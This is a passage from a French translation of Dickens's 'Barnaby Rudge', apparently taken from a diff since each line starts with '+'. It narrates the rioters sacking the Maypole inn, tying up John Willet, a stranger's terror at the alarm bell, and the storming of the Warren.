+M. Cobb et M. Parkes secouèrent la tête à l'unisson en marmottant
+entre leurs dents: «Non, non, Jeannot, bien loin de là.»
+
+Mais, comme ces sortes de compliments n'avaient ordinairement
+d'autre effet que de rendre M. Willet encore plus têtu
+qu'auparavant, il les examina d'un air de profond dédain et leur
+répondit en ces termes:
+
+«Alors, qu'est-ce que vous venez me chanter, que ce soir vous
+allez faire un tour ensemble jusqu'à Londres... vous trois... pour
+vous en rapporter au témoignage de vos sens. Est-ce que, leur dit
+M. Willet, mettant sa pipe entre ses dents d'un air de dégoût
+solennel, le témoignage de mes sens, à moi, ne vous suffit pas?
+
+-- Mais, dit humblement Parkes pour s'excuser, nous n'en avons pas
+connaissance, Jeannot.
+
+-- Vous n'en avez pas connaissance, monsieur? répéta M. Willet en
+le toisant des pieds à la tête. Ah! vous n'en avez pas
+connaissance? Vous en avez connaissance, monsieur. Ne vous ai-je
+pas dit que Sa benoîte Majesté le roi Georges III ne laisserait
+pas plus l'émeute rigoler dans les rues de sa bonne ville de
+Londres, qu'il ne se laisserait lui-même insulter par son
+parlement?
+
+-- À la bonne heure, Johnny; mais c'est là le témoignage de votre
+bon sens; ce n'est pas le témoignage de vos sens, risqua
+M. Parkes.
+
+-- Et qu'en savez-vous? repartit John avec une grande dignité.
+Vous vous permettez là des contradictions un peu lestes, monsieur.
+Qu'en savez-vous, si c'est l'un plutôt que l'autre? je ne croyais
+pas vous l'avoir dit encore, monsieur.»
+
+M. Parkes, se voyant embarqué dans une discussion métaphysique
+dont il ne savait trop comment se tirer, balbutia une apologie et
+battit en retraite devant son antagoniste. Il s'ensuivit un
+silence de dix ou douze minutes, après lequel M. Willet se mit à
+grommeler, à branler la tête en éclatant de rire, et à faire
+l'observation, à propos de son défunt adversaire, «qu'il l'avait
+joliment arrangé.» Sur quoi MM. Cobb et Daisy rirent aussi avec
+des signes de tête affirmatifs, et Parkes fut définitivement
+considéré comme un homme mort.
+
+«Vous imaginez-vous que, si tout cela était vrai, M. Haredale
+serait toujours dehors, comme il est? dit John, après une autre
+pause. Croyez-vous qu'il n'aurait pas peur de laisser sa maison
+toute seule avec deux jeunes femmes et une couple de serviteurs
+pour toute défense?
+
+-- C'est vrai, mais c'est peut-être parce que son château est à
+une bonne distance de Londres; vous savez qu'on dit que les
+émeutiers ne s'écartent pas à plus de deux ou trois milles. La
+preuve, c'est qu'il y a des catholiques, vous savez, qui ont
+envoyé, pour plus de sûreté, leurs bijoux et leur argenterie à la
+campagne... du moins, on le dit.
+
+-- On le dit, on le dit! répéta M. Willet d'un air bourru. Oui,
+monsieur; c'est comme on dit que vous avez vu un revenant en mars
+dernier, mais personne n'en croit rien.
+
+-- Eh bien! dit Salomon, se levant pour distraire l'attention de
+ses deux amis, qui commençaient à rire de cette boutade, qu'on le
+croie ou qu'on ne le croie pas, que ce soit vrai ou faux, si nous
+voulons aller à Londres, nous ferons bien de partir tout de suite.
+Ainsi, Johnny, une poignée de main, et bonne nuit!
+
+-- Je n'ai pas de poignée de main, reprit l'aubergiste, qui fourra
+les siennes dans ses poches, à donner à des gens qui s'en vont à
+Londres pour de pareilles bêtises.»
+
+Les trois vieux compagnons en furent quittes pour lui prendre les
+coudes au lieu de lui serrer les mains. Après cette cérémonie, ils
+décrochèrent leurs chapeaux, prirent leurs cannes, leurs manteaux,
+lui souhaitèrent le bonsoir et partirent, en lui promettant de lui
+rapporter le lendemain des détails véridiques sur l'état réel de
+la ville; et, s'ils la trouvaient tranquille, ils lui feraient de
+bon coeur amende honorable.
+
+John Willet les regarda partir sur la route, aux rayons abondants
+et riches d'une belle soirée d'été. Il fit tomber les cendres de
+sa pipe, rit en lui-même de leur folie, à s'en tenir les côtes. Il
+en était encore tout essoufflé, car cela lui prit du temps, vu
+qu'il n'était pas plus prompt à rire qu'à penser ou à parler,
+lorsqu'enfin il s'assit, le dos à la muraille, allongea ses jambes
+sur le banc, se couvrit la figure de son tablier, et tomba dans un
+profond sommeil.
+
+Peu importe le temps qu'il dormit; toujours est-il que ce fut
+assez long: car, lorsqu'il s'éveilla, la riche clarté du soleil
+couchant s'était éteinte, les ombres et les ténèbres de la nuit se
+précipitaient à l'horizon, et on voyait déjà briller au-dessus de
+sa tête quelques étoiles éclatantes.
+
+Tous les oiseaux étaient à leur perchoir, et les pâquerettes, sur
+le gazon, avaient fermé leur petit capuchon pour protéger leur
+sommeil; le chèvrefeuille enlacé autour du porche exhalait ses
+parfums plus odorants que jamais, comme si, à cette heure
+silencieuse, il devenait moins timide, et qu'il aimât à prodiguer
+à la nuit ses douces senteurs; le lierre remuait à peine son
+feuillage d'un vert profond. Comme tout cela était tranquille!
+comme tout cela était beau!
+
+Mais est-ce que je n'entends pas encore un autre bruit que le
+frôlement des feuilles dans les arbres et le gai frémissement des
+sauterelles? Écoutez bien! c'est quelque chose de bien faible et
+de bien éloigné; cela ressemble assez à ce bruit de mer qu'on
+entend dans un coquillage. Mais le voici qui augmente... Ah!
+maintenant il décroît!... il recommence... il redouble... il
+s'affaiblit encore... il éclate avec violence.
+
+En effet, c'était bien un bruit qu'on entendait sur la route, et
+qui variait avec les détours du chemin. Mais à présent il n'y
+avait plus à s'y méprendre; c'étaient bien les voix, c'étaient
+bien les pas d'un grand nombre de personnes.
+
+Peut-être pourtant que, même alors, John Willet aurait été à cent
+lieues de penser à l'émeute, sans les clameurs de sa cuisinière et
+de sa fille de service, qui se mirent à grimper l'escalier en
+poussant des cris, et à s'enfermer au verrou dans un vieux
+grenier, d'où elles firent entendre encore après des hurlements
+plaintifs, apparemment pour mieux assurer le secret de leur
+retraite. Ces deux demoiselles ont déposé plus tard que M. Willet,
+dans sa terreur, ne prononça qu'un mot, six fois de suite, et
+d'une voix de stentor qui le fit retentir jusqu'au haut de
+l'escalier où elles étaient. Mais, comme ce mot ne se composait
+que d'un monosyllabe[2], parfaitement inoffensif quand on l'emploie
+pour le quadrupède même qu'il désigne, mais très répréhensible
+quand on l'applique à des femmes d'un caractère irréprochable, il
+y a des personnes qui ont été portées à croire que ces demoiselles
+étaient sous l'empire de quelque hallucination causée par l'excès
+de leur frayeur, et qu'elles avaient été dupes d'une erreur
+d'acoustique.
+
+Quoi qu'il en soit, John Willet, chez lequel, à défaut de courage,
+il y avait un entêtement imbécile qui pouvait en avoir l'air,
+s'établit sous le porche, où il les attendit de pied ferme. Une
+fois, je crois, il lui passa par la tête une idée vague que cette
+porte, derrière lui, avait une serrure et des verrous. Il eut, par
+la même occasion, une autre idée confuse dans le cerveau, qu'il
+avait sous la main des volets pour fermer les fenêtres du rez-de-
+chaussée. Mais il n'en resta pas moins là comme une souche, à
+regarder de loin dans la direction d'où le bruit s'avançait
+rapidement, sans seulement se donner la peine de retirer les mains
+de ses goussets.
+
+Il n'eut pas longtemps à attendre: une masse noirâtre, qui se
+mouvait dans un nuage de poussière, se fit bientôt apercevoir.
+L'émeute doublait le pas; criant à tue-tête, comme des sauvages,
+ils se précipitèrent pêle-mêle, et, en quelques secondes, ils
+s'étaient passé l'aubergiste, comme une balle, de main en main,
+jusqu'au coeur de la troupe.
+
+«Ohé! cria une voix qu'il reconnut, en même temps que l'homme qui
+parlait fendait la presse pour se faire un passage jusqu'à lui. Où
+est-il? Donnez-le-moi. Ne lui faites pas de mal. Eh bien! mon
+vieux Jean, comment ça va? ha! ha! ha!»
+
+M. Willet le regarda, vit bien que c'était Hugh, mais sans rien
+dire, et peut-être sans en penser davantage.
+
+«Voilà des camarades qui ont soif; il faut leur donner à boire,
+cria Hugh, en le poussant dans la maison. Allons, Jean-Jean, hardi
+à la besogne! Donnez-nous de ce bon petit, de cet excellent
+petit... extra-fin que vous gardez pour votre boîte ordinaire.»
+
+John articula faiblement ces mots: «Qui est-ce qui payera?
+
+-- Dites donc, les autres, entendez-vous? Il demande qui est-ce
+qui payera,» cria Hugh avec des éclats de rire qui rebondirent
+dans la foule. Puis, se tournant vers John, il ajouta: «Qui
+payera? mais, personne!»
+
+John arrêta ses yeux sur cette masse de figures, les unes
+ricanantes, les autres menaçantes, les unes éclairées par des
+torches, les autres indistinctes, quelques-unes couvertes par
+l'ombre et les ténèbres, ou le regardant fixement, ou faisant
+l'inspection de sa maison, ou se regardant les unes les autres;
+et, sans savoir comment, car il ne se rappelait seulement pas
+avoir bougé, il se trouva dans son comptoir, assis dans son
+fauteuil, assistant à la destruction de ses biens, comme à quelque
+représentation théâtrale d'une nature surprenante et stupéfiante,
+mais qui ne le regardait pas du tout, à ce qu'il pouvait croire.
+
+Vraiment, oui! voilà bien le comptoir! ce comptoir vénéré où les
+plus hardis n'auraient pas osé entrer sans une invitation spéciale
+du maître, le sanctuaire, le mystère, le Saint des saints: eh
+bien! le voilà, ce comptoir, qui regorge d'hommes, de gourdins, de
+bâtons, de torches, de pistolets, qui retentit d'un bruit
+assourdissant de jurons, de cris, de huées, de menaces; ce n'est
+plus un comptoir, c'est une ménagerie, une maison de fous, un
+temple infernal et diabolique. Les gens vont et viennent, entrent
+et sortent, par la porte ou par la fenêtre, cassent les carreaux,
+tournent les cannelles, boivent les liqueurs dans de pleins bols
+de porcelaine; ils se mettent à califourchon sur les tonneaux; ils
+fument les pipes personnelles et consacrées de John et de ses
+pratiques; ils élaguent le bosquet respecté d'oranges et de
+citrons, hachent et taillent en plein fromage dans le fameux
+chester, brisent des tiroirs inviolables et les ouvrent tout
+grands, mettent dans leurs poches des choses qui ne leur
+appartiennent pas, se partagent son propre argent sous ses propres
+yeux, gaspillent, brisent, cassent, foulent aux pieds comme des
+insensés tout ce qu'ils trouvent; il n'y a rien d'épargné, rien de
+sacré. On voit des hommes partout; en haut, en bas, au premier, à
+la cuisine, dans les chambres à coucher, dans la cour, dans les
+écuries. Les portes sont ouvertes; cela leur est égal, ils montent
+par la fenêtre. Qu'est-ce qui les empêche de descendre par
+l'escalier? non, ils aiment mieux sauter par la croisée. Ils se
+jettent par-dessus les rampes, pour être plus tôt dans le
+corridor. À chaque instant ce ne sont que figures nouvelles, une
+vraie fantasmagorie de gars qui hurlent, de gens qui chantent, de
+gens qui se battent, de gens qui cassent les verres et les
+assiettes, de gens qui abreuvent le plancher de la liqueur qu'ils
+ne peuvent plus boire, de gens qui sonnent la cloche jusqu'à la
+démancher, de gens qui la frappent à coups de marteau jusqu'à ce
+qu'ils l'aient mise en morceaux: toujours, toujours, des gens qui
+grouillent comme des fourmilières; toujours du bruit, de la fumée
+de tabac, des torches, de l'obscurité, des folies, des colères,
+des rires, des gémissements, le pillage, l'effroi, la ruine!
+
+Presque tout le temps que John considéra cette scène épouvantable,
+Hugh se tint auprès de lui, et, quoiqu'il fût bien le plus
+tapageur, le plus farouche, le plus malfaisant coquin de tous ceux
+qui étaient là, il empêcha nombre de fois qu'on ne brisât les os
+de son maître. Et même, quand M. Tappertit, animé par les
+liqueurs, passa par là, et, pour bien assurer sa prérogative,
+donna poliment à John Willet des coups de pied dans les os des
+jambes, Hugh conseilla à son patron de les rendre, et, si le vieux
+John avait eu la présence d'esprit de comprendre ce qu'il lui
+disait à demi-mot et d'en profiter, point de doute qu'avec la
+protection de Hugh il ne s'en fût tiré sans danger.
+
+Enfin la bande commença à se reformer hors de la maison, et à
+rappeler ceux qui restaient à lambiner au dedans, pour faire corps
+avec eux. Pendant que les murmures croissaient et se formulaient
+hautement, Hugh et quelques-uns de ceux qui étaient encore arrêtés
+au comptoir, et qui étaient évidemment les meneurs principaux, se
+consultèrent à part pour savoir ce qu'il fallait faire de John,
+afin de s'assurer de lui jusqu'à ce qu'ils eussent fini leur
+travail de Chigwell. Les uns proposaient de mettre le feu à la
+maison et de le laisser s'y consumer; les autres, de lui faire
+prêter serment qu'il resterait là sur son fauteuil, sans bouger,
+pendant vingt-quatre heures; d'autres enfin de lui mettre un
+bâillon et de l'emmener avec eux, sous bonne garde. Après avoir
+examiné et rejeté successivement toutes ces propositions, on finit
+par décider qu'il fallait le garrotter dans son fauteuil, et on
+appela Dennis pour le charger de l'exécution.
+
+«Faites bien attention, père Jean! lui dit Hugh en s'avançant vers
+lui: nous allons vous lier les pieds et les mains, mais sans vous
+faire d'autre mal. Vous entendez bien?»
+
+John Willet en regarda un autre, comme s'il ne savait pas qui est-
+ce qui parlait, et marmotta entre ses dents deux ou trois mots sur
+l'habitude qu'il avait de prendre quelque chose tous les dimanches
+à deux heures, ajoutant qu'il n'avait rien pris depuis.
+
+«Est-ce que vous ne m'entendez pas? je vous dis qu'on ne vous fera
+pas de mal, beugla Hugh en lui donnant un grand coup dans le dos
+pour mieux lui faire entrer son avis dans la tête. Il a eu si
+peur, qu'il ne sait plus où il en est, je crois. Donnez-lui donc
+une goutte. Eh! les autres, passez-nous donc quelque chose.»
+
+En effet, on lui passa un verre de liqueur, dont Hugh versa le
+contenu dans le gosier du vieux John. M. Willet fit légèrement
+claquer ses lèvres, fourra la main dans sa poche pour y chercher
+de l'argent, en demandant combien c'était: il ajouta, en promenant
+à la ronde des yeux hébétés, qu'il croyait qu'il y avait aussi à
+payer quelques verres cassés.
+
+«Il a perdu la tête pour le moment, c'est sûr, dit Hugh, après
+l'avoir secoué rudement sans produire d'autre effet sur tout son
+système qu'un cliquetis de clefs dans sa poche. Où est-il donc, ce
+Dennis?»
+
+On appela encore Dennis, qui vint enfin avec un bon bout de corde
+autour des reins, comme un capucin. Il accourait en toute hâte,
+escorté d'une demi-douzaine de gardes du corps.
+
+«Allons! lestement! cria Hugh en frappant la terre du pied;
+dépêchons-nous.»
+
+Dennis ne fit que cligner de l'oeil et déroula sa corde; puis,
+levant les yeux vers le plafond, regarda tout autour, sur les murs
+et sur la corniche, d'un oeil curieux: après cette inspection, il
+branla la tête.
+
+«Mais allez donc, vous ne bougez pas! cria Hugh, frappant encore
+du pied avec plus d'impatience. Allez-vous nous faire attendre ici
+qu'on ait sonné l'alarme à dix milles à la ronde, et qu'on vienne
+nous déranger dans notre besogne?
+
+-- C'est bon à dire, camarade, répondit Dennis en faisant un pas
+vers lui, mais à moins... (et ici il lui parla tout bas)... à
+moins de l'accrocher à la porte, je ne vois rien de propice pour
+ça dans toute la chambre.
+
+-- De propice pour quoi?
+
+-- De propice pour quoi! reprit Dennis; vous savez bien ce qu'on
+veut faire du bonhomme.
+
+-- Quoi! n'alliez-vous pas le pendre? cria Hugh.
+
+-- Eh bien! il ne faut donc pas? répliqua le bourreau étonné.
+Alors, qu'est-ce qu'il faut faire?»
+
+Hugh ne répondit rien; mais, arrachant la corde des mains de son
+camarade, il se mit en devoir de lier le père John lui-même.
+Seulement il s'y prit d'une manière si gauche et si maladroite,
+que M. Dennis le supplia, presque la larme à l'oeil, de lui
+laisser faire son métier. Hugh y consentit, et le bourreau eut
+bientôt fait.
+
+«Là! dit-il, regardant tristement John Willet, qui ne montrait pas
+plus d'émotion dans ses liens que tout à l'heure, quand il était
+libre, voilà ce qui s'appelle de la bonne ouvrage, et proprement
+faite. On le dirait empaillé!... mais dites donc, camarade, je
+voudrais vous dire un mot; à présent que le voilà troussé comme
+une volaille, et tout préparé pour la chose, ne vaudrait-il pas
+mieux, pour tout le monde, le dépêcher sans plus tarder? Ah! que
+ça ferait bien dans le journal! Le public en aurait bien plus de
+considération pour nous.»
+
+Hugh, comprenant l'intention de son camarade, mieux encore par ses
+gestes que par sa manière de s'exprimer un peu technique, pour
+quelqu'un qui n'en avait pas l'habitude, rejeta derechef cette
+proposition, et prononça le commandement: «En avant!» qui fut
+répété au dehors par cent voix en choeur.
+
+«À la Garenne! cria Dennis, en courant, suivi de tous ceux qui
+étaient encore dans la maison. À la maison du témoin, camarades!»
+
+Un cri de rage répondit à cet appel, et la foule tout entière
+courut, animée par l'amour de la destruction et du pillage. Hugh
+resta quelques moments encore en arrière pour prendre quelque
+nouveau stimulant et pour ouvrir toutes les cannelles, qui
+pouvaient avoir été épargnées; puis, jetant un dernier coup d'oeil
+sur cette chambre pillée et dévastée, où les émeutiers avaient
+jeté le Mai lui-même par la fenêtre, car ils l'avaient scié en
+morceaux, il alluma sa torche, donna une tape sur le dos de John
+Willet muet et immobile, il balança son luminaire sur sa tête,
+poussa un cri furieux, et se dépêcha de courir après ses
+compagnons.
+
+
+
+
+CHAPITRE XIII.
+
+
+John Willet, laissé seul dans son comptoir démantibulé, continua
+de rester assis, tout abasourdi; ses yeux tout grands ouverts
+montraient bien qu'il était éveillé mais toutes ses facultés de
+raison et de réflexion étaient abîmées dans un sommeil absolu. Il
+promenait les yeux autour de cette chambre qui avait été depuis de
+longues années, et qui était encore, pas plus tard qu'il y a une
+heure, l'orgueil de son coeur, mais sans qu'un muscle de sa figure
+en fût seulement ému. La nuit, au dehors, semblait noire et
+froide, à travers les trouées qui avaient été naguère des
+fenêtres. Les liquides précieux, à présent à sec ou peu s'en faut,
+tombaient goutte à goutte sur le plancher. Le Maypole brisé avait
+l'air de regarder par la croisée rompue, comme le beaupré d'un
+vaisseau naufragé, et rien n'empêchait de comparer le parquet au
+fond de la mer, tant il était, comme elle, semé de débris
+précieux. Les courants d'air, qui n'avaient plus d'obstacles,
+faisaient claquer et crier sur leurs gonds les vieilles portes.
+Les chandelles vacillaient et coulaient, garnies de je ne sais
+combien de champignons. Les beaux et brillants rideaux d'écarlate
+flottaient et clapotaient au vent. Les bons petits barils
+hollandais de curaçao ou d'anisette, tournés sens dessus dessous
+et vides, étaient jetés honteusement dans un coin: ce n'était plus
+que l'ombre de ces jolis quartauts, qui avaient perdu toute leur
+jovialité, sans espérance de la retrouver jamais. John voyait
+cette désolation, ou plutôt il ne la voyait pas. Il ne demandait
+pas mieux que de rester là, assis les yeux tout grands ouverts,
+n'éprouvant pas plus d'indignation ou de malaise, revêtu de ses
+liens, que si c'eussent été des décorations honorifiques.
+Personnellement, il ne voyait aucun changement: le temps allait
+son petit bonhomme de chemin, comme d'habitude, et le monde était
+toujours tranquille comme à l'ordinaire.
+
+N'était qu'on entendait les barils se vider goutte à goutte, les
+débris des fenêtres cassées crier sous le souffle du vent, et le
+craquement monotone des portes ouvertes, tout était profondément
+calme: ces petits bruits, semblables au tic-tac de la montre du
+temps pendant la nuit, ne faisaient que rendre le silence plus
+saisissant et plus effrayant. Mais le bruit ou le calme, pour
+John, c'était tout un: un train de grosse artillerie aurait pu
+venir exécuter des sarabandes sous sa fenêtre, qu'il n'en aurait
+été que ça. Il était désormais à l'abri de toute surprise; un
+revenant même ne lui aurait rien fait.
+
+Justement il entendit un pas, un pas précipité, et cependant
+discret, qui s'approchait de la maison. Ce pas s'arrêta, avança
+encore, sembla faire le tour des bâtiments, et finit par venir
+sous la fenêtre, par laquelle une tête plongea dans la salle.
+
+Les chandelles agitées mettaient ce visage singulièrement en
+relief sur le fond noir et sombre de la nuit au dehors. Il était
+pâle, flétri, usé; les yeux, à raison de sa maigreur, paraissaient
+naturellement grands et brillants; les cheveux étaient
+grisonnants. Il lança un regard pénétrant dans la chambre, en même
+temps qu'on entendit une voix creuse demander:
+
+«Est-ce que vous êtes seul dans cette maison?»
+
+John ne fit aucun signe, quoique cette question fût répétée deux
+fois et qu'il l'eût bien entendue. Après un moment de silence,
+l'homme entra par la fenêtre. John ne parut pas plus surpris de
+cela que du reste. Il en avait tant vu monter ou descendre par les
+croisées en une heure de temps, qu'il ne se rappelait plus
+seulement qu'il y eût une porte, et qu'il croyait avoir toujours
+vécu au milieu, de ces exercices gymnastiques depuis son enfance.
+
+L'homme portait un grand habit noir passé, et un chapeau rabattu.
+Il marcha droit à John et le regarda en face. John lui rendit
+incontinent la monnaie de sa pièce.
+
+«Est-ce qu'il y a longtemps que vous êtes assis là comme ça?» dit
+l'homme.
+
+John réfléchit, mais sans pouvoir trouver rien à dire.
+
+«De quel côté sont-ils partis?
+
+À cette question, expliquez-moi comment il se fit, car je n'y
+comprends rien, que la forme particulière des bottes de l'étranger
+trotta dans la tête de M. Willet, qui finit par secouer ces
+distractions importunes et retomba dans son premier état.
+
+-- Ah çà! vous feriez aussi bien de me répondre, dit l'autre; ce
+serait le moyen de conserver au moins votre peau, puisqu'il ne
+vous reste plus que ça. De quel côté sont-ils partis?
+
+-- Par là,» dit John, retrouvant tout de suite la voix et faisant
+de bonne foi un signe de tête tout juste dans la direction
+contraire à l'exacte vérité.
+
+Il faut dire que ses pieds et ses mains étaient liés si
+étroitement, qu'il ne lui restait plus que le visage pour montrer
+à l'étranger son chemin.
+
+«Vous mentez, dit celui-ci avec un geste de colère et de menace.
+Je suis venu par là et je n'ai rien vu. Vous voulez me tromper.»
+
+Cependant il était si visible que l'apathie imperturbable de John
+n'était pas un jeu; qu'elle était au contraire le résultat de la
+scène qui venait de se passer sous son toit, que l'étranger retint
+sa main au moment de le frapper, et se retourna.
+
+John le regarda faire sans seulement sourciller. L'autre alors se
+saisit d'un verre, le tint sous un des petits barils pour
+recueillir quelques gouttes, qu'il avala avec une grande avidité.
+Puis, trouvant que cela n'allait pas assez vite, il jeta le verre
+par terre avec impatience, prit le baril même à deux mains, et
+s'en versa directement le contenu dans le gosier. Il y avait çà et
+là quelques croûtes de pain oubliées; il tomba dessus aussitôt,
+les mangeant avec voracité, et ne s'arrêtant que pour écouter de
+temps en temps quelque bruit imaginaire au dehors. Après s'être
+restauré en courant, il souleva un autre baril pour l'appliquer à
+ses lèvres, rabattit son chapeau sur son front, comme s'il se
+disposait à quitter la maison, et revint à John.
+
+«Où sont vos domestiques?»
+
+M. Willet eut un souvenir confus d'avoir entendu les émeutiers
+leur crier de jeter par la fenêtre la clef de la chambre où elles
+s'étaient retirées. Il répliqua donc par ces mots:
+
+«Elles sont sous clef.
+
+-- Elles feront bien de se tenir tranquilles et vous aussi,
+repartit l'autre. À présent, dites-moi de quel côté ils sont
+partis.»
+
+Cette fois-ci, M. Willet ne se trompa pas: l'étranger se
+précipitait du côté de la porte pour sortir, quand tout à coup le
+vent leur apporta le tintement éclatant et rapide d'une cloche
+d'alarme, puis on vit dans l'air une vive et subite clarté qui
+illumina non seulement toute la chambre, mais toute la campagne.
+
+Ce ne fut pas le passage soudain des ténèbres à cette clarté
+terrible; ce ne fut pas le son des cris lointains et des hourras
+victorieux; ce ne fut pas cette invasion effrayante du tumulte
+dans la paix et la sérénité de la nuit, qui fit reculer d'effroi
+l'étranger, comme s'il venait d'être frappé d'un coup de tonnerre;
+non, ce fut la cloche. La forme la plus hideuse du plus
+épouvantable revenant que l'imagination humaine ait jamais pu se
+figurer, aurait surgi devant lui, qu'il n'aurait pas fui devant
+elle, d'un pas chancelant, avec autant d'horreur qu'il en montra
+au premier son de cette voix de fer retentissante. Les yeux lui
+sortaient de la tête, il tremblait de tous ses membres, sa figure
+était horrible à voir, avec sa main droite levée en l'air, la
+gauche pressant en bas quelque objet imaginaire qu'il frappait à
+coups redoublés, comme le meurtrier qui plonge un poignard au
+coeur de sa victime; puis il se tira les cheveux, il se boucha les
+oreilles, il courut à droite, à gauche, comme un fou; puis enfin
+il poussa un cri effroyable et se rua dehors: et toujours,
+toujours la cloche tintait à sa poursuite, plus fort, plus fort,
+plus vite, plus vite. L'embrasement devenait plus brillant, le
+tumulte des voix plus profond; l'air était ébranlé par la chute de
+corps pesants qui craquaient en tombant. Des ruisseaux
+d'étincelles enflammées jaillissaient jusqu'au ciel; mais il y
+avait quelque chose de plus sonore que la chute des murs ruinés,
+de plus rapide pour monter jusqu'au ciel que les étincelles de
+l'incendie, de plus furieux, de plus sauvage mille fois que le
+bruit confus des voix, quelque chose qui proclamait d'horribles
+secrets longtemps ensevelis dans le silence, quelque chose qui
+parlait la langue des morts: la cloche!... la cloche!»
+
+Une meute de spectres n'aurait jamais devancé à la course cette
+poursuite rapide, cette chasse enragée; une légion de revenants à
+ses trousses ne lui aurait pas inspiré tant de crainte. Cela
+aurait eu au moins un commencement et une fin, tandis qu'ici
+c'était répandu par tout l'espace. Il n'y avait qu'une voix
+acharnée à sa poursuite, mais elle était partout: elle éclatait
+sur la terre, elle éclatait dans l'air; elle courbait en passant
+la pointe des herbes, elle hurlait à travers les arbres
+frémissants. Les échos la doublaient et la répétaient, les hiboux
+la saisissaient au passage dans le vent pour y répondre; le
+rossignol, de désespoir, en perdait la voix et allait cacher son
+effroi au plus épais des bois. Elle avait l'air de presser et de
+stimuler la colère de la flamme en délire; tout était abreuvé
+d'une teinte écarlate; le feu brillait partout. La nature semblait
+noyée dans le sang; et toujours le cri impitoyable de cette voix
+effrayante; la cloche!... la cloche!
+
+Elle cesse, mais pour les autres, non pas pour lui, qui en emporte
+le glas dans son coeur. Jamais tocsin sorti de la main des hommes
+n'a eu une voix pour vous vibrer ainsi dans l'âme, et vous
+répéter, à chaque son, qu'elle ne cessera pas d'appeler le ciel à
+son aide. Car cette cloche-là sait bien se faire comprendre. Il
+n'y a pas moyen de ne pas savoir ce qu'elle dit: _Assassin!
+assassin!_ à chaque note: cruel, barbare, sauvage assassin!
+Assassin d'un brave homme qui, dans sa confiance, avait mis sa
+main dans la main de son bourreau. Rien que de l'entendre, les
+fantômes sortaient de leurs tombes. Tenez! en voilà un, dont la
+figure animée d'un sourire amical se change tout à coup en une
+expression d'incrédulité et d'horreur; puis le moment d'après vous
+y voyez la torture de la douleur; il jette au ciel un regard
+suppliant et tombe roide sur le sol, les yeux retournés dans leur
+orbite, comme la biche aux abois qu'il avait quelquefois vue
+mourir, quand il était petit enfant, qu'il tressaillait et
+frissonnait... (quel triste souvenir en ce moment!) se cramponnant
+au tablier de sa mère, curieux et effrayé à cette vue. L'autre,
+l'étranger, tombe aussi la face sur la terre, qu'il gratte de ses
+mains comme pour s'y creuser un refuge, pour y cacher, au moins
+pour y couvrir son visage et ses oreilles. Mais non, non, non. Une
+triple enceinte de murs, un triple toit d'airain, ne le
+défendraient pas contre cette voix. L'univers, le vaste univers,
+n'a point de refuge à lui donner contre elle.
+
+Pendant qu'il se précipitait de tous côtés, sans savoir par où
+aller; pendant qu'il restait rampant sur la terre, sans pouvoir
+s'y cacher, la besogne marchait lestement là-bas. En quittant le
+Maypole, les émeutiers s'étaient formés en un corps compact, et
+s'étaient avancés d'un pas rapide vers la Garenne. Devancés
+néanmoins par le bruit de leur approche, ils trouvèrent les portes
+du jardin bien fermées, les fenêtres barricadées, la maison
+ensevelie dans une obscurité profonde. Après avoir inutilement
+tiré les sonnettes et frappé à la grille, ils se retirèrent à
+quelques pas de là, pour se concerter et prendre conseil sur ce
+qu'il y avait à faire.
+
+La conférence ne fut pas longue; ils ne soupiraient tous qu'après
+un même but, sous la double influence d'une ivresse furieuse et de
+leurs premiers succès, qui ne les enivraient pas moins. L'ordre
+étant donné de bloquer le château, les uns grimpèrent sur la
+porte, ou descendirent dans le fossé pour en escalader le revers;
+d'autres franchirent le mur de clôture, d'autres renversèrent les
+barreaux de défense, dont ils se firent à chaque brèche nouvelle
+des armes meurtrières. Quand le château fut complètement cerné, on
+envoya un petit nombre d'hommes enfoncer dans le jardin un atelier
+d'outils, et en attendant leur retour les autres se contentèrent
+de frapper avec violence aux portes, en appelant les gens qui
+pouvaient être dans la maison, et les sommant de venir leur ouvrir
+s'ils voulaient avoir la vie sauve.
+
+Voyant qu'ils ne recevaient aucune réponse à ces sommations, et
+que le détachement envoyé à la découverte des outils revenait avec
+un supplément utile de pioches, de bêches, de boyaux, ils leur
+ouvrirent un passage, ainsi qu'à ceux qui étaient déjà armés, ou
+pourvus d'avance de haches, de barres de fer, de pinces; quand ils
+eurent percé à travers la foule, ils formèrent le premier rang des
+assaillants, tout prêts à faire le siège en règle des portes et
+des fenêtres. Il n'y avait pour le moment parmi eux pas plus d'une
+douzaine de torches allumées; mais après tous ces préparatifs on
+distribua des flambeaux qui passèrent de main en main avec tant de
+rapidité, qu'en moins d'une minute les deux tiers au moins de
+toute cette masse tumultueuse portaient des brandons incendiaires.
+Ils leur firent faire la roue au-dessus de leurs têtes, en
+poussant de grands cris, et se mirent à travailler les fenêtres et
+les portes.
+
+Au beau milieu du tapage, pendant qu'on entendait le bruit sourd
+des coups de pioche, le fracas des vitres cassées, les cris et les
+jurons de la populace, Hugh et ses amis profitèrent du désordre et
+du tumulte pour se rendre ensemble à la porte de la tourelle, où
+M. Haredale l'avait reçu la dernière fois avec John Willet, et
+c'est contre cette porte qu'ils concentrèrent tous leurs efforts.
+Une bonne porte, ma foi! en vieux chêne, bien fort, soutenue
+derrière par de fameuses gâches et une traverse solide! Mais,
+malgré tout, elle ne résista pas longtemps; on l'entendit craquer
+et tomber sur l'escalier de derrière, où elle leur servit de
+plate-forme pour leur faciliter l'accès de la chambre haute.
+Presque au même moment, la maison était forcée sur une douzaine de
+points et la foule s'éboulait par chaque brèche, comme l'eau
+déborde à travers une digue rompue.
+
+Il y avait deux ou trois domestiques postés dans le vestibule avec
+des fusils, dont ils tirèrent un coup ou deux sur les assaillants,
+quand ils eurent forcé le passage; mais il n'y eut personne
+d'atteint, et, voyant leurs ennemis se précipiter comme une légion
+de diables, ils ne songèrent plus qu'à leur propre sûreté et
+opérèrent leur retraite, en imitant les cris des assiégeants, dans
+l'espérance de se confondre avec eux, au milieu du vacarme. Et, en
+effet, ce stratagème leur réussit; il n'y eut qu'un pauvre
+vieillard dont on n'entendit plus jamais reparler; on lui avait
+fait, dit-on, sauter la cervelle d'un coup de barre de fer; un de
+ses camarades le vit tomber, et son cadavre fut ensuite la proie
+des flammes.
+
+Une fois maîtres du château, les assiégeants se répandirent à
+l'intérieur, depuis la cave jusqu'au grenier, et commencèrent leur
+oeuvre de destruction violente. Pendant que quelques groupes
+allumaient des feux de joie sous les fenêtres d'autres cassaient
+les meubles et en jetaient les fragments par la croisée pour
+alimenter la flamme. Là où l'ouverture dans le mur (car ce
+n'étaient plus des fenêtres) était assez grande, ils lançaient
+dans le feu les tables, les commodes, les lits, les miroirs, les
+tableaux, et, chaque fois qu'ils empilaient quelques pièces
